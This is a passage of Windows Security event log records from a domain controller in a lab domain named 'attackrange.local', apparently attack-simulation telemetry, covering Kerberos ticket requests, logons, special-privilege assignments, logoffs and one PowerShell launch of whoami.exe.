Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x59322

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253790
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x591EA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49709

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253789
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x591EA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253788
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A5C71DD5-B489-0540-943D-E9B9360F39B5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253787
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x590A2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49708

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253786
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x590A2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253785
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A5C71DD5-B489-0540-943D-E9B9360F39B5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253895
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x64E61

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253894
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6084F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253893
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x61691

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253892
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x64E61

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253891
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x64E61
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{52A312D8-8FF5-14FF-068F-626A1EDAD62A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253890
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{52A312D8-8FF5-14FF-068F-626A1EDAD62A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253889
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{52A312D8-8FF5-14FF-068F-626A1EDAD62A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253888
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253887
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x64C27

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253886
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x64C27

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253885
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x64C27
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{52A312D8-8FF5-14FF-068F-626A1EDAD62A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253884
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{52A312D8-8FF5-14FF-068F-626A1EDAD62A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253883
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{52A312D8-8FF5-14FF-068F-626A1EDAD62A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253882
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253881
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6201C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253880
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6084F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e4
	New Process Name:	C:\Windows\System32\whoami.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x125c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\whoami.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253939
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6D217

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253938
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6D217
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		52795

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253937
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6D217

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253936
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6CAE1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253935
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6CAE1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		52794

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253934
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6CAE1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
